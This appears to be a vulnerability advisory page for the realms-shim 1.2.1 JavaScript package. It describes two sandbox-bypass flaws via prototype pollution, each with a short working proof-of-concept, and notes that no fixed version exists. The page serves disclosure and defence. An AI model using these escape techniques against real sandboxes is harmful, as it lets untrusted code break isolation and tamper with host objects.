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realms-shim@1.2.1 vulnerabilities

Spec-compliant shim for Realms TC39 Proposal

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Direct Vulnerabilities

Known vulnerabilities in the realms-shim package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • C
Sandbox Bypass

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'

let realm = Realm.makeRootRealm();
try {
    realm.evaluate(`
        Error.prepareStackTrace = function (error, stackTrace) {        
            stackTrace.__proto__.__proto__.polluted = 'success'            
        };
        x;
    `);
} catch(e) {
    // we do not even need to print e
}
console.log(polluted);

How to fix Sandbox Bypass?

There is no fixed version for realms-shim.

*
  • C
Sandbox Bypass

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'
let realm = Realm.makeRootRealm();

realm.evaluate(`
function test() {    
    try {
       test();
    } catch (e) {                        
        e.__proto__.__proto__.__proto__.polluted = "success";        
        new Error().stack; // if one comments this uselss line, the PoC does not work anymore
    }
}
test();`);
console.log(polluted)

How to fix Sandbox Bypass?

There is no fixed version for realms-shim.

*
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